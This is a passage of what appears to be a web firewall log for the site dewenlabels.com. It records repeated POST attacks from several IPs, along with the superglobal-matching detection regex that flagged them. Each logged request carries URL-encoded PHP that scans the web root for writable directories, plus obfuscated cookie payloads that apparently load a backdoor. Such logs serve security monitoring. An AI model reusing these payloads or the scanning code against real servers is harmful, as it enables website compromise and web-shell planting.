20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3811\n\njW=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 17:02:21","171.244.34.150","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Id:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3811\n\nId=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 17:02:29","47.242.236.143","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> cH:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL0tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3811\n\ncH=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 17:02:34","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> ez:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMKbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3822\n\nez=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20